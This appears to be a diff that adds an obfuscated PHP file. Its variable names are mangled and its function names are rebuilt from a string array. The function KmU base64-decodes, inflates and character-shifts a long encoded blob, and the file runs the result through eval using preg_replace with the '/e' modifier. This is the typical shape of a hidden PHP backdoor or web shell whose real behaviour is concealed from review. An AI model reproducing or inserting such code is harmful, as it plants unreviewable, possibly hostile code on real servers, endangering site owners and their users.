+$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';?>
+<?php
+ function KmU($IIIIIIl1111I)
+{
+$IIIIIIl1111I=$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJbDExMTFs')]($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJbElJMTFJ')]($IIIIIIl1111I));
+for($IIIIIIIlI1ll=0;$IIIIIIIlI1ll<strlen($IIIIIIl1111I);$IIIIIIIlI1ll++)
+{
+$IIIIIIl1111I[$IIIIIIIlI1ll] = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJbDExMTEx')]($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJMUlJSUlJ')]($IIIIIIl1111I[$IIIIIIIlI1ll])-1);
+}
+return $IIIIIIl1111I;
+}
+
+preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(KmU("
+
+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